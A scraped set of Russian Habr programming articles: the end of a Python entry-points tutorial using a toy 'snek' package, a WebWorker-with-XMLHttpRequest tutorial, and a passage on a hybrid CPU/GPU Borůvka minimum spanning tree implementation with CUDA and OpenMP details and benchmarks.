~-_ _-~ ~-_ _-~
~--______-~ ~-___-~
```
Змейка 2.0
----------
Пока всё внимание высшего руководства уходит на разборки с налоговой инспекцией и антимонопольной службой, отдел разработки наконец-то может выкроить немного времени на рефакторинг кода.
Главный системный архитектор понял, что если сторонние змейки могут быть загружены как плагины, значит, так же могут быть загружены и встроенные змейки.
Уберём особую обработку встроенных змеек:
```
--- a/snek.py
+++ b/snek.py
@@ -31,10 +31,7 @@ fancy_snek = """\
"""
def get_sneks():
- sneks = {
- 'normal': normal_snek,
- 'fancy': fancy_snek,
- }
+ sneks = {}
for entry_point in pkg_resources.iter_entry_points('snek_types'):
sneks[entry_point.name] = entry_point.load()
return sneks
```
И взамен зарегистрируем для них универсальные точки входа:
```
--- a/setup.py
+++ b/setup.py
@@ -6,5 +6,9 @@ setup(
'console_scripts': [
'snek = snek:main',
],
+ 'snek_types': [
+ 'normal = snek:normal_snek',
+ 'fancy = snek:fancy_snek',
+ ],
},
)
```
Переустановим изменённую змейку:
```
$ python setup.py develop
running develop
running egg_info
writing snek.egg-info\PKG-INFO
writing dependency_links to snek.egg-info\dependency_links.txt
writing entry points to snek.egg-info\entry_points.txt
writing top-level names to snek.egg-info\top_level.txt
reading manifest file 'snek.egg-info\SOURCES.txt'
writing manifest file 'snek.egg-info\SOURCES.txt'
running build_ext
Creating c:\program files (x86)\py36-32\lib\site-packages\snek.egg-link (link to .)
snek 0.0.0 is already the active version in easy-install.pth
Installing snek-script.py script to C:\Program Files (x86)\Py36-32\Scripts
Installing snek.exe script to C:\Program Files (x86)\Py36-32\Scripts
Installing snek.exe.manifest script to C:\Program Files (x86)\Py36-32\Scripts
Installed c:\users\rachum\notebooks
Processing dependencies for snek==0.0.0
Finished processing dependencies for snek==0.0.0
```
Проверим результат:
```
$ snek
--..,_ _,.--.
`'.'. .'`__ o `;__.
'.'. .'.'` '---'` `
'.`'--....--'`.'
`'--....--'`
$ snek --type fancy
_,..,,,_
'``````^~"-,_`"-,_
.-~c~-. `~:. ^-.
`~~~-.c ; `:. `-, _.-~~^^~:.
`. ; _,--~~~~-._ `:. ~. .~ `.
.` ;' .:` `: `:. ` _.:-,. `.
.' .: :' _.-~^~-. `. `..' .: `. '
: .' _:' .-' `. :. .: .'`. : ;
: `-' .:' `. `^~~^` .:. `. ; ;
`-.__,-~ ~-. ,' ': '.__.` :'
~--..--' ':. .:'
':..___.:'
$ snek --type cute
/^\/^\
_|__| O|
\/ /~ \_/ \
\____|__________/ \
\_______ \
`\ \ \
| | \
/ / \
/ / \
/ / \ \
/ / \ \
/ / _----_ \ \
/ / _-~ ~-_ | |
( ( _-~ _--_ ~-_ _/ |
\ ~-____-~ _-~ ~-_ ~-_-~ /
~-_ _-~ ~-_ _-~
~--______-~ ~-___-~
```
---
На этом всё. Теперь вы знаете, как использовать точки входа в Python! | https://habr.com/ru/post/479570/ | null | ru | null |
# Скрещиваем WebWorker и XMLHttpRequest
WebWorker+XMLHttpRequest
HTML5 уже никого не удивляет, но у многих новичков возникает много вопросов. Особенно вопросы связаные с параллельными потоками, а именно с WebWorker. Дальнейшее повествование требует знания JS и HTML — я не буду разжевывать основы html и js.
Сегодня мы рассмотрим как обернуть в WebWorker обычный XMLHttpRequest.
Первым, естественно, шагом будет создание обычной функции.
```
function req0() {}
```
Теперь необходимо создать работника:
```
Th0=new Worker('Th0.js')
```
Для работы с WebWorker нам понадобиться знать всего лишь 3 команды: передача, прием, удаление.
Для основной функции:
onmessage -прием сообщения или, грубо говоря, это то, что будет делать скрипт после завершения работы WebWorker.
postMessage — отправка сообщения или запуск работника. Здесь можно передать данные в поток.
terminate — завершение Работника.
Для самого Работника в файле скрипта:
onmessage — грубо говоря, это то, что будет выполнять Работник при его запуске
postMessage — это то, что Работник отправит в главный скрипт, то есть результаты выполненной работы
Теперь надо создать файл Th0.js — в нем и будет находится основной код Работника. Стоит заметить, что WebWorker не работает локально, как например, обычный html документ. Для WebWorker необходим веб-сервер.
Открываем Th0.js и пишем:
```
onmessage=function(event) {
nameRQ=event.data;}
```
Теперь у нас есть функция, которую будет выполнять Работник. Переменная nameRQ необходима для передачи функции запроса имени файла, в котором содержится запрашиваемая информация. Теперь надо написать XMLHttpRequest. Все знают как? Для большего понимания советую прочитать дополнительный материал про XMLHttpRequest-запросы. Я лишь вкратце расскажу.
Создаем запрос:
```
xhttp=new XMLHttpRequest()
```
Пишем простенький обработчик ответа сервера. Безусловно, можно написать хороший обработчик с распознаванием ошибок и реакцией на них, но сейчас не об этом.
```
xhttp.onreadystatechange=function(){if (xhttp.readyState==4&&xhttp.status==200) {postMessage({goodReq0:xhttp.responseText})}};
```
if (xhttp.readyState==4&&xhttp.status==200) — обработчик ответа сервера. Если запрос успешно завершен, тогда выполнить следующую функцию:
{postMessage({goodReq0:xhttp.responseText})}};}
Теперь надо запустить сам запрос:
```
xhttp.open('POST','http://domen.dmn/req/'+nameRQ,true);
xhttp.send();
```
Запрос будет POST, асинхронным.
[domen.dmn/req](http://domen.dmn/req/)'+nameRQ — это путь к файлу на сервере. Соответственно, в папке req на сервере будет находится искомый файл с запрашиваемым именем — в данном случае имя характеризуется переменной nameRQ. Это позволит одним запросом обращаться к разным файлам, меняя переменную.
Итоговый код файла Th0.js
```
onmessage=function(event) {
nameRQ=event.data; /* Имя запрашиваемого файла */
xhttp=new XMLHttpRequest(); /* создаем XMLHttpRequest-запрос */
xhttp.onreadystatechange=function(){if (xhttp.readyState==4&&xhttp.status==200) {postMessage({goodReq0:xhttp.responseText})}}; /* Обработчик запроса */
xhttp.open('POST','http://domen.dmn/req/'+nameRQ,true); /* открываем запрос */
xhttp.send(); /* и запускаем */
}
```
Возвращаемся к основной функции.
Пишем обработчик ответа Работника.
```
Th0.onmessage=function(event) {document.getElementById('DivRQ').innerHTML=event.data.goodReq0;}
```
document.getElementById('DivRQ').innerHTML — Вставляет полученный текст в Div с именем DivRQ (который заранее необходимо создать на страничке).
event.data.goodReq0 — переменная с данными, полученными от сервера.
«Убиваем» Работника:
```
Th0.terminate();
```
Теперь собственно пишем функцию запуска работника. В коде сначала идет onmessage затем postMessage..
```
Th0.postMessage(nameRQ)}
```
Как видите, в postMessage мы передаем имя запрашиваемого файла, с которого будет считываться информация с сервера.
Итоговый файл:
```
function req0() {
Th0=new Worker('Th0.js'); /* создаем Работника */
Th0.onmessage=function(event) {document.getElementById('DivRQ').innerHTML=event.data.goodReq0; /* обработчик */ Th0.terminate();} /* завершаем WebWorker */
Th0.postMessage(nameRQ)} /* запускаем WebWorker */
```
Вот и готов наш «параллельный запрос». Теперь их можно делать параллельно. | https://habr.com/ru/post/218989/ | null | ru | null |
# Гибридная реализация алгоритма MST с использованием CPU и GPU
Введение
--------
Решение задачи поиска минимальных остовных деревьев ( MST — minimum spanning tree) является распространенной задачей в различных областях исследований: распознавание различных объектов, компьютерное зрение, анализ и построение сетей (например, телефонных, электрических, компьютерных, дорожных и т.д.), химия и биология и многие другие. Существует по крайней мере три известных алгоритма, решающих данную задачу: Борувки, Крускала и Прима. Обработка больших графов (занимающих несколько ГБ) является достаточно трудоемкой задачей для центрального процессора (CPU) и является востребованной в данное время. Все более широкое распространение получают графические ускорители (GPU), способные показывать намного большую производительность, чем CPU. Но задача MST, как и многие задачи по обработке графов, плохо ложатся на архитектуру GPU. В данной статье будет рассмотрена реализация данного алгоритма на GPU. Также будет показано, как можно использовать CPU для построения гибридной реализации данного алгоритма на общей памяти одного узла (состоящего из GPU и нескольких CPU).
Описание формата представления графов
-------------------------------------
Кратко рассмотрим структуру хранения неориентированного взвешенного графа, так как в дальнейшем она будет упоминаться и преобразовываться. Граф задается в сжатом CSR (Compressed Sparse Row) [[1]](http://en.wikipedia.org/wiki/Sparse_matrix) формате. Данный формат широко распространен для хранения разреженных матриц и графов. Для графа с N вершинами и M ребрами необходимо три массива: X, A и W. Массив X размера N + 1, остальные два – 2\*M, так как в неориентированном графе для любой пары вершин необходимо хранить прямую и обратную дуги. В массиве X хранится начало и конец списка соседей, которые хранятся в массиве А, то есть весь список соседей вершины J находится в массиве A с индекса X[J] до X[J+1], не включая его. По аналогичным индексам хранятся веса каждого ребра из вершины J. Для иллюстрации на рисунке ниже слева показан граф из 6 вершин, записанный с помощью матрицы смежности, а справа – в CSR формате (для упрощения, вес каждого ребра не указан).
Тестируемые графы
-----------------
Сразу опишу на каких графах происходило тестирование, так как для описания алгоритмов преобразования и алгоритма MST потребуется знание структуры рассматриваемых графов. Для оценки производительности реализации используются два вида синтетических графов: RMAT-графы и SSCA2-графы. R-MAT-графы хорошо моделируют реальные графы из социальных сетей, Интернета [[2]](http://www.dislab.org/GraphHPC-2014/rmat-siam04.pdf). В данном случае рассматриваются RMAT-графы со средней степенью связности вершины 32, а количество вершин является степенью двойки. В таком RMAT-графе имеется одна большая связная компонента и некоторое количество небольших связных компонент или висящих вершин. SSCA2-граф представляет собой большой набор независимых компонент, соединенных ребрами друг с другом [[3]](http://dislab.org/GraphHPC-2015/SSCA2-TechReport.pdf). SSCA2-граф генерируется таким образом, чтобы средняя степень связности вершины была близка к 32, а eё количество вершин также является степенью двойки. Таким образом, рассматриваются два совершенно разных по структуре графа.
Преобразование входных данных
-----------------------------
Так как тестирование алгоритма будет производиться на графах RMAT и SSCA2, которые получаются с помощью генератора, то для улучшения производительности алгоритма необходимо проделать некоторые преобразования. Все преобразования не будут учтены в подсчете производительности.
1. **Локальная сортировка списка вершин**
Для каждой вершины выполним сортировку ее списка соседей по весу, в порядке возрастания. Это позволит частично упростить выбор минимального ребра на каждой итерации алгоритма. Так как данная сортировка является локальной, то она не дает полное решение задачи.
2. **Перенумерация всех вершин графа**
Занумеруем вершины графа таким образом, чтобы наиболее связные вершины имели наиболее близкие номера. В результате данной операции в каждой связной компоненте разница между максимальным и минимальным номером вершины будет наименьшей, что позволит лучшим образом использовать маленький кэш графического процесса. Стоит отметить, что для RMAT графов данная перенумерация не дает существенного эффекта, так как в данном графе присутствует очень большая компонента, которая не помещается в кэш даже после применения данной оптимизации. Для SSCA2 графов эффект от данного преобразования заметен больше, так как в данном графе большое количество небольших компонент.
3. **Отображение весов графа в целые числа**
В данной задаче нам не надо производить каких-либо операций над весами графа. Нам необходимо уметь сравнивать веса двух ребер. Для этих целей можно использовать целые числа, вместо чисел двойной точности, так как скорость обработки чисел одинарной точности на GPU намного выше, чем двойной. Данное преобразование можно выполнить для графов, у которых количество уникальных ребер не превосходит 2^32 (максимальное количество различных чисел, помещающихся в unsigned int). Если средняя степень связности каждой вершины равна 32м, то самый большой граф, который можно обработать с применением данного преобразования, будет иметь 2^28 вершин и будет занимать в памяти 64 ГБ. На сегодняшний день наибольшее количество памяти в ускорителях NVidia Tesla k40[[4]](http://www.nvidia.ru/object/tesla-supercomputer-workstations-ru.html) / NVidia Titan X[[5]](http://www.nvidia.ru/object/geforce-gtx-titan-x-ru.html#pdpContent=2) и AMD FirePro w9100[[6]](http://www.amd.com/ru-ru/products/graphics/workstation/firepro-3d/9100) составляет 12ГБ и 16ГБ соответственно. Поэтому на одном GPU с применением данного преобразования можно обработать достаточно большие графы.
4. **Сжатие информации о вершинах**
Данное преобразование применимо только к графам SSCA2 из-за их структуры. В данной задаче решающую роль играет производительность памяти всех уровней: начиная от глобальной памяти и заканчивая кэшем первого уровня. Для снижения трафика между глобальной памятью и L2 кэшем, можно хранить информацию о вершинах в сжатом виде. Изначально информация о вершинах представлена в виде двух массивов: массива X, в котором хранятся начало и конец списка соседей в массиве А (пример только для одной вершины):
У вершины J есть 10 вершин-соседей, и если номер каждого соседа хранится с использованием типа unsigned int, то для хранения списка соседей вершины J потребуется 10 \* sizeof(unsigned int) байт, а для всего графа — 2 \* M \* sizeof(unsigned int) байт. Будем считать, что sizeof(unsigned int) = 4 байта, sizeof(unsigned short) = 2 байта, sizeof(unsigned char) = 1 байт. Тогда для данной вершины необходимо 40 байт для хранения списка соседей.
Не трудно заметить, что разница между максимальным и минимальным номером вершины в этом списке равна 8, причем для хранения данного числа необходимо всего 4 бита. Исходя из тех соображений, что разница между максимальным и минимальным номером вершины может быть меньше, чем unsigned int, можно представить номер каждой вершины следующим образом:
base\_J + 256 \* k + short\_endV,
где **base\_J** — например, минимальный номер вершины из всего списка соседей. В данном примере это будет 1. Данная переменная будет иметь тип unsigned int и таких переменных будет столько, сколько вершин в графе; Далее посчитаем разницу между номером вершины и выбранной базой. Так как в качестве базы мы выбрали наименьшую вершину, то данная разница будет всегда положительной. Для графа SSCA2 данная разница будет помещаться в unsigned short. **short\_endV** — это остаток от деления на 256. Для хранения данной переменной будем использовать тип unsigned char; **а k — есть целая часть** от деления на 256. Для k выделим 2 бита (то есть k лежит в пределах от 0 до 3). Выбранное представление является достаточным для рассматриваемого графа. В битовом представление это выглядит так:
Тем самым для хранения списка вершин требуется (1 + 0,25) \* 10 + 4 = 16,5 байт для данного примера, вместо 40 байт, а для всего графа: (2 \* M + 4 \* N + 2 \* M / 4) вместо 2 \* M \* 4. Если N = 2 \* M / 32, то общий объем уменьшится в
(8 \* M) / (2 \* M + 8 \* M / 32 + 2 \* M / 4) = **2.9 раз**
Общее описание алгоритма
-------------------------
Для реализации алгоритма MST был выбран алгоритма Борувки. Базовое описание алгоритма Борувки и иллюстрация его итераций хорошо представлена по этой ссылке [[7]](http://en.wikipedia.org/wiki/Bor%C5%AFvka's_algorithm).
Согласно алгоритму, все вершины изначально включены в минимальное дерево. Далее необходимо выполнить следующие шаги:
1. Найти минимальные ребра между всеми деревьями для их последующего объединения. Если на данном шаге не выбрано ни одно ребро, то ответ задачи получен
2. Выполнить объединение соответствующих деревьев. Данный шаг разбивается на два этапа: удаление циклов, так как два дерева могут в качестве кандидата на объединение указать друг друга, и этап объединения, когда выбирается номер дерева, в которое входят объединяемые поддеревья. Для определенности будем выбирать минимальный номер. Если в ходе объединения осталось лишь одно дерево, то ответ задачи получен.
3. Выполнить перенумерацию полученных деревьев для перехода на первый шаг (чтобы все деревья имели номера от 0 до k)
Этапы алгоритма
----------------
В общем реализованный алгоритм выглядит следующим образом:
Выход из всего алгоритма происходит в двух случаях: если все вершины после N итераций объединены в одно дерево, либо если невозможно найти минимальное ребро из каждого дерева (в таком случае минимальные остовные деревья найдены).
### 1. Поиск минимального ребра.
Сначала каждая вершина графа помещается в отдельное дерево. Далее происходит итеративный процесс объединения деревьев, состоящий из четырех рассмотренных выше процедур. Процедура поиска минимального ребра позволяет выбрать именно те ребра, которые будут входить в минимальное остовное дерево. Как было описано выше, на входе у данной процедуры преобразованный граф, хранящийся в формате CSR. Так как для списка соседей была выполнена частичная сортировка ребер по весу, то выбор минимальной вершины сводится к просмотру списка соседей и выбора первой вершины, которая принадлежит другому дереву. Если предположить, что в графе нет петель, то на первом шаге алгоритма выбор минимальной вершины сводится к выбору первой вершины из списка соседей для каждой рассматриваемой вершины, потому что список соседних вершин (которые составляют вместе с рассматриваемой вершиной ребра графа), отсортированы по возрастанию веса ребра и каждая вершина входит в отдельное дерево. На любом другом шаге необходимо просмотреть список всех соседних вершин по порядку и выбрать ту вершину, которая принадлежит другому дереву.
Почему же нельзя выбрать вторую вершину из списка соседних вершин и положить данное ребро минимальным? После процедуры объединения деревьев (которая будет рассмотрена далее) может возникнуть ситуация, что некоторые вершины из списка соседних могут оказаться в том же дереве, что и рассматриваемая, тем самым данное ребро будет являться петлей для данного дерева, а по условию алгоритма необходимо выбирать минимальное ребро до других деревьев.
Для реализации обработки вершин и выполнения процедуры поиска, объединения и слияния списков хорошо подходит Union Find [[8]](http://www.cs.princeton.edu/~rs/AlgsDS07/01UnionFind.pdf). К сожалению, не все структуры оптимально обрабатываются на GPU. Наиболее выгодно в данной задаче (как и в большинстве других) использовать непрерывные массивы в памяти GPU, вместо связных списков. Ниже будут рассмотрены похожие алгоритмы для поиска минимального ребра, объединения сегментов, удаления циклов в графе.
Рассмотрим алгоритм поиска минимального ребра. Его можно представить в виде двух шагов:
* выбор минимального ребра исходящего из каждой вершины (которая входит в какой-то сегмент) рассматриваемого графа;
* выбор ребра минимального веса для каждого дерева.
Для того, чтобы не перемещать информацию о вершинах, записанную в формате CSR, будем использовать два вспомогательных массива, которые будут хранить индекс начала и конца массива А списка соседей. Два данных массива будут обозначать сегменты списков вершин, принадлежащих одному дереву. Например, на первом шаге массив начал или нижних значений будет иметь значения 0..N массива X, а массив концов или верхних значений будет иметь значения 1..N+1 массива X. А далее, после процедуры объединения деревьев (которая будет рассмотрена далее), данные сегменты перемешаются, но массив соседей А не будет изменен в памяти.
Оба шага могут быть выполнены параллельно. Для выполнения первого шага необходимо просмотреть список соседей каждой вершины (или каждого сегмента) и выбрать первое ребро, принадлежащее другому дереву. Можно выделить один warp (состоящий из 32х нитей) для просмотра списка соседей каждой вершины. Стоит помнить, что несколько сегментов массива соседних вершин А могут лежать не подряд и принадлежать одному дереву (красным выделены сегменты, принадлежащие дереву 0, а зеленым — дереву 1):
В силу того, что каждый сегмент списка соседей отсортирован, то не обязательно просматривать все вершины. Так как один warp состоит из 32х нитей, то просмотр будет осуществляться порциями по 32 вершины. После того, как просмотрены 32 вершины, необходимо объединить результат и если ничего не найдено, то просмотреть следующие 32 вершины. Для объединения результата можно воспользоваться алгоритмом scan [[9]](http://habrahabr.ru/company/epam_systems/blog/247805/). Реализовать данный алгоритм внутри одного warp'а можно с помощью разделяемой памяти или с помощью новых shfl-инструкций [[10]](http://on-demand.gputechconf.com/gtc/2013/presentations/S3174-Kepler-Shuffle-Tips-Tricks.pdf) (доступных с архитектуры Kepler), которые позволяют обменяться данными между нитями одного warp'а за одну инструкцию. В результате проведения экспериментов выяснилось, что shfl-инструкции позволяют ускорить примерно в два раза работу всего алгоритма. Таким образом, данная операция может быть выполнена с использованием shfl-инструкций, например, так:
```
unsigned idx = blockIdx.x * blockDim.x + threadIdx.x; // глобальный индекс нити
unsigned lidx = idx % 32;
#pragma unroll
for (int offset = 1; offset <= 16; offset *= 2)
{
tmpv = __shfl_up(val, (unsigned)offset);
if(lidx >= offset)
val += tmpv;
}
tmpv = __shfl(val, 31); // рассылка всем нитям последнего значения. Если получено значение 1, то какая-то нить нашла
// минимальное ребро, иначе необходимо продолжить поиск.
```
В результате данного шага для каждого сегмента будет записана следующая информация: номер вершины в массиве А, входящее в ребро минимального веса и вес самого ребра. Если ничего не найдено, то в номер вершины можно записать, например, число N + 2.
Второй шаг необходим для редуцирования выбранной информации, а именно — выбор ребра с минимальным весом для каждого из деревьев. Данный шаг делается из-за того, что сегменты, принадлежащие одному и тому же дереву, просматриваются параллельно и независимо, и для каждого из сегментов выбирается ребро минимального веса. В данном шаге один warp может редуцировать информацию по каждому дереву (по нескольким сегментам) и для редукции можно также применить shfl-инструкции. После выполнения данного шага будет известно с каким деревом каждое из деревьев соединено минимальным ребром (если оно существует). Для записи данной информации введем еще два вспомогательных массива, в одном из которых будем хранить номера деревьев, до которых есть минимальное ребро, во втором — номер вершины в исходном графе, которая является корнем входящих в дерево вершин. Результат данного шага проиллюстрирован ниже:
Стоит отметить, что для работы с индексами необходимо еще два массива, которые помогают конвертировать первоначальные индексы в новые индексы и получать по новому индексу первоначальный. Эти так называемые таблицы переконвертации индексов обновляются с каждой итерацией алгоритма. Таблица получения нового индекса по первоначальному индексу имеет размер N — количества вершин в графе, а таблица получения первоначального индекса по новому сокращается с каждой итерацией и имеет размер, равный количеству деревьев на какой-либо выбранной итерации алгоритма (на первой итерации алгоритма эта таблица имеет также размер N).
### 2. Удаление циклов.
Данная процедура необходима для удаления циклов между двумя деревьями. Данная ситуация возникает тогда, когда у дерева N1 минимальное ребро до дерева N2, а у дерева N2 минимальное ребро до дерева N1. На картинке выше, есть цикл только между двумя деревьями с номерами 2 и 4. Так как деревьев на каждой итерации становится меньше, то будем выбирать минимальный номер из двух деревьев, составляющих цикл. В данном случае, 2 будет указывать на 2, а 4 продолжит указывать на 2. С помощью таких проверок можно определить такой цикл и устранить его в пользу минимального номера:
```
unsigned i = blockIdx.x * blockDim.x + threadIdx.x;
unsigned local_f = сF[i];
if (сF[local_f] == i)
{
if (i < local_f)
{
F[i] = i;
. . . . . . .
}
}
```
Данная процедура может быть выполнена параллельно, так как каждая вершина может быть обработана независимо и записи в новый массив вершин без циклов не пересекаются.
### 3. Объединение деревьев.
Данная процедура производит объединение деревьев в более крупные. Процедура удаления циклов между двумя деревьями является по сути предобработкой перед данной процедурой. Она позволяет избежать зацикливания при объединении деревьев. Объединение деревьев представляет собой процесс выбора нового корня путем изменения ссылок. Если допустим дерево 0 указывало на дерево 1, а в свою очередь дерево 1 указывало на дерево 3, то можно сменить ссылку дерева 0 с дерева 1 на дерево 3. Данное изменение ссылки стоит производить, если изменение ссылки не приводит к появлению цикла между двумя деревьями. Рассматривая пример выше, после процедур удаления циклов и объединения деревьев останется только одно дерево с номером 2. Процесс объединения можно представить примерно так:
Структура графа и принцип его обработки таков, что не возникнет ситуации, когда будет происходить зацикливание процедуры и она также может быть выполнена параллельно.
### 4. Перенумерация вершин (деревьев).
После выполнения процедуры объединения необходимо перенумеровать полученные деревья так, чтобы их номера шли подряд от 0 до P. По построению, новые номера должны получить элементы массива, удовлетворяющие условию F[i] == i (для рассмотренного примера выше, данному условию удовлетворяет только элемент с индексом 2). Тем самым, с помощью атомарных операций можно разметить весь массив новыми значениями от 1… (P+1). Далее выполнить заполнение таблиц получения нового индекса по первоначальному и первоначального индекса по новому:
Работа с данными таблицами описана в процедуре поиска минимального ребра. Следующая итерация не может корректно выполняться без обновления данных таблиц. Все описанные операции выполняются параллельно и на GPU.
Подведем небольшой итог. Все 4 процедуры выполняются параллельно и на графическом ускорителе. Работа ведется с одномерными массивами. Единственная трудность — во всех данных процедурах присутствует косвенная индексация. И чтобы уменьшить кэш-промахи от такой работы с массивами, были использованы различные перестановки графа, описанные в самом начале. Но, к сожалению, не для каждого графа удается сократить потери от косвенной индексации. Как будет показано далее, при таком подходе на RMAT-графах достигается не очень высокая производительность. Поиск минимального ребра занимает до 80% времени работы всего алгоритма, тогда как на остальные приходится оставшиеся 20%. Это связано с тем, что в процедурах объединения, удаления циклов и перенумерации вершин работа ведется с массивами, длина которых постоянно уменьшается (от итерации к итерации). Для рассматриваемых графов необходимо проделать порядка 7-8 итераций. Это означает, что количество обрабатываемых вершин уже на первом шаге становится намного меньше, чем N / 2. В то время как в основной процедуре поиска минимального ребра работа идет с массивами вершин А и массивом весов W (хоть и выбираются определенные элементы).
Дополнительно к хранению графа было использовано еще несколько массивов длины N:
* массив нижних значений и массив верхних значений. Использовались для работы с сегментами массива А;
* массив-таблица для получения первоначального индекса по новому;
* массив-таблица для получения нового индекса по первоначальному;
* массив для номеров вершин и массив для соответствующих им весов, использующиеся во втором шаге процедуры поиска минимального ребра;
* вспомогательный массив, позволяющий определить в первом шаге процедуры поиска минимального ребра к какому дереву принадлежит тот или иной сегмент.
Гибридная реализация процедуры поиска минимального ребра.
----------------------------------------------------------
Алгоритм описанный выше в конечном счете не плохо выполняется на одном GPU. Решение данной задачи организовано таким образом, что можно попробовать распараллелить данную процедуру еще и на CPU. Конечно, это можно сделать только на общей памяти, и для этого был использовал стандарт OpenMP и передача данных между CPU и GPU по шине PCIe. Если представить выполнение процедур на одной итерации на линии времени, то картина при использовании одного GPU будет примерно такой:
Изначально все данные о графе хранятся как на CPU так и на GPU. Для того, чтобы CPU мог считать, необходимо передать информацию о перемещенных во время объединения деревьев сегментах. Также для того, чтобы GPU продолжил итерацию алгоритма, необходимо вернуть посчитанные данные. Логичным было бы использование асинхронного копирования между хостом и ускорителем:
Алгоритм на CPU повторяет алгоритм, используемый на GPU, только для распараллеливания цикла используется OpenMP [[11]](http://openmp.org/wp/). Как и стоило ожидать, CPU считает не так быстро как GPU, да и накладные расходы на копирование тоже мешают. Чтобы CPU успевало посчитать свою часть, данные для обсчета надо делить в отношении 1: 5, то есть не более 20%-25% отдавать на CPU, а остальное обсчитывать на GPU. Остальные процедуры не выгодно считать и там и там, так как они занимают очень мало времени, а накладные расходы и медленная скорость CPU только увеличивают время алгоритма. Также очень важна скорость копирования между CPU и GPU. На тестируемой платформе поддерживался PCIe 3.0, который позволял достигать 12GB/s.
На сегодняшний день количество оперативной памяти на GPU и CPU существенно отличается в пользу последнего. На тестовой платформе было установлено 6 GB GDDR5, в то время как на CPU было целых 48 GB. Ограничения по памяти на GPU не позволяют обсчитывать большие графы. И тут нам может помочь CPU и технология Unified Memory [[12]](http://devblogs.nvidia.com/parallelforall/unified-memory-in-cuda-6/), которая позволяет обращаться с GPU в память CPU. Так как информация о графе необходима только в процедуре поиска минимального ребра, то для больших графов можно сделать следующее: сначала поместить все вспомогательные массивы в памяти GPU, а далее расположить часть массивов графа (массив соседей A, массив X и массив весов W) в памяти GPU, а то что не уместилось — в памяти CPU. Далее, во время счета, можно делить данные так, чтобы на CPU обрабатывалась та часть, которая не поместилась на GPU, а GPU минимально использовал доступ в память CPU (так как доступ в память CPU с графического ускорителя осуществляется через шину PCIe на скорости не более 15 GB/s). Заранее известно в какой пропорции были поделены данные, поэтому для того, чтобы определить в какую память надо обращаться — в GPU или CPU — достаточно ввести константу, показывающую в какой точке разделены массивы и с помощью одной проверки в алгоритме на GPU можно определить куда надо делать обращение. Расположение в памяти данных массивов можно представить примерно так:
Тем самым можно обработать графы, которые изначально не помещаются на GPU даже при использовании описанных алгоритмов сжатия, но с меньшей скоростью, так как пропускная способность PCIe очень ограничена.
Результаты тестирования
------------------------
Тестирование производилось на GPU NVidia GTX Titan, у которого 14 SMX с 192 cuda ядрами (всего 2688) и на процессоре 6 cores (12th) Intel Xeon E5 v1660 с частотой 3,7 Ггц. Графы, на которых производилось тестирование, описаны выше. Приведу только некоторые характеристики:
| Масштаб (2^N) | Количество вершин | Количество ребер (2 \* M) | Размер графа, ГБ |
| --- | --- | --- | --- |
| | | RMAT | SSCA2 | |
| 16 | 65 536 | 2 097 152 | ~2 100 000 | ~ 0.023 |
| 21 | 2 097 152 | 67 108 864 | ~67 200 000 | ~ 0.760 |
| 24 | 16 777 216 | 536 870 912 | ~537 000 000 | ~ 6.3 |
| 25 | 33 554 432 | 1 073 741 824 | ~1 075 000 000 | ~ 12.5 |
| 26 | 67 108 864 | 2 147 483 648 | ~2 150 000 000 | ~ 25.2 |
| 27 | 134 217 728 | 4 294 967 296 | ~4 300 000 000 | ~ 51.2 |
Видно, что граф масштаба 16 достаточно мал (порядка 25 МБ) и даже без преобразований легко помещается в кэш одного современного процессора Intel Xeon. А так как веса графа занимают 2/3 от общего количества, то фактически необходимо обрабатывать порядка 8 МБ, что всего примерно в 5 раза больше L2 кэша GPU. Однако большие графы требуют достаточного количества памяти и даже граф 24 масштаба уже не помещается в память тестируемого GPU без сжатия. Исходя из представления графа, 26 масштаб является последним, у которого количество ребер помещается в unsigned int, что является некоторым ограничением алгоритма для дальнейшего масштабирования. Данное ограничение легко обходится путем расширения типа данных. Как мне кажется, пока это не так актуально, так как обработка одинарной точности (unsigned int) осуществляется во много раз быстрее, чем двойной (unsigned long long) и количество памяти пока достаточно мало. Производительность будет измеряться в количестве обработанных ребер в секунду (traversed edges per second — TEPS).
Компиляция осуществлялась с использованием NVidia CUDA Toolkit 7.0 с опциями -O3 -arch=sm\_35, Intel Composer 2015 с опциями -O3. Максимальную производительность реализованного алгоритма можно увидеть на графике ниже:
На графике видно, что с использованием всех оптимизаций SSCA2 графы показывают хорошую эффективность: чем больше граф, тем лучше производительность. Данный рост сохраняется до тех пор, пока все данные помещаются в память GPU. На 25 и 26 масштабах был использован механизм Unified Memory, который позволил получить результат, правда с более низкой скоростью (но как будет продемонстрировано ниже, быстрее, чем только на CPU). Если бы расчет выполняется на Tesla k40 с 12ГБ памяти и отключенным ECC и процессором Intel Xeon E5 V2/V3, то вполне возможно можно было бы достичь порядка 3000 MTEPS на графе SSCA2 масштаба 25, а также попытаться обработать не только граф 26го масштаба, но и 27. Для RMAT графа такой эксперимент не проводился, в силу его сложной структуры и плохой адаптации алгоритма.
### Сравнение производительности различных алгоритмов
Данная задача решалась в рамках [конкурса](http://contest.dislab.org/problem/mst) конференции GraphHPC 2015. Я бы хотел привести сравнение с программой, написанной Александром Дарьиным, который по мнению авторов занял первое место в данном конкурсе.
Так как в общей таблице есть результаты на тестовой платформе, предоставленной авторами, то не лишним было бы привести графики на CPU и GPU на описанной платформе (GTX Titan + Xeon E5 v2). Ниже представлены результаты для двух графов:
Из приведенных графиков видно, что описанный в данной статье алгоритм больше оптимизирован для SSCA2 графов, в то время как алгоритм, реализованный Александром Дарьиным, хорошо оптимизирован для RMAT графов. В данном случае нельзя сказать однозначно какая из реализаций является лучшей, потому что у каждой есть свои преимущества и недостатки. Также не ясен критерий, по которому надо оценивать алгоритмы. Если говорить про обработку больших графов, то тот факт, что алгоритм может обработать графы 24-26 масштаба, является большим плюсом и преимуществом. Если говорить о средней скорости обработки графов любой величины, то не ясно, какую именно среднюю величину считать. Ясно только одно — один алгоритм хорошо обрабатывает SSCA2 графы, второй — RMAT. Если объединить две эти реализации, то средняя производительность будет порядка 3200 MTEPS для 23 масштаба. Презентация описания некоторых оптимизаций алгоритма Александра Дарьина можно посмотреть [здесь](https://yadi.sk/d/O2QbohDChDKWR).
Из зарубежных статей можно выделить следующие.
1) [[13]](http://stanford.edu/~vibhavv/papers/old/Vibhav09Fast.pdf) Из данной статьи были использованы некоторые идеи при реализации описанного алгоритма. Напрямую сравнивать полученные авторами результаты нельзя, так как тестирование производилось на старой NVidia Tesla S1070. Достигнутая авторами производительность на GPU колеблется от 18-36 MTEPS. Опубликована в 2009 и в 2013 годах.
